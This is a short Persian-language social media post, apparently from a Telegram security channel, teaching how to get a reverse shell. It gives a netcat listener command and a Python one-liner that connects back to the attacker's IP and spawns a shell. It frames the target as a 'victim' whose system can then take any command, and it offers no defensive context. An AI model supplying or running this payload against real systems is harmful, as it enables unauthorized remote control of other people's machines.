#ReverseShell
بیشتر از چیزی که فکر کنید این روش آسونه ...
ولی پیدا کردن سیستمی که بتونید این تکنیک رو روش پیدا کنید خیلی راحت نیست.
❗️برای پیاده سازی این تکنیک باید ابتدا یک listener توی سیستم خودمون ایجاد کنیم:
با استفاده از دستور nc میتونیم روی یک port خاص اینکار رو بکنیم:
nc -lp 1337
❗️حالا نیاز داریم تا قربانی به ما وصل بشه، برای این کار باید یه تیکه کد توی سیستم طرف بتونیم اجرا کنیم که تقریبا به تموم زبان های برنامه نویسی میتونیم این کار رو بکنیم، من با python این کار رو میکنم:
فقط دقت کنید که به جای
127.0.0.1 باید ip خودتون رو بزنید.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
❗️و تمام .
❕الان قربانی به شما وصل شده و شما میتونید هر دستوری رو روی سیستمش اجرا کنید.
🔜 معرفی چند ابزار برای ساختن Revershell به زبان های مختلف
✅
@CyberSoulz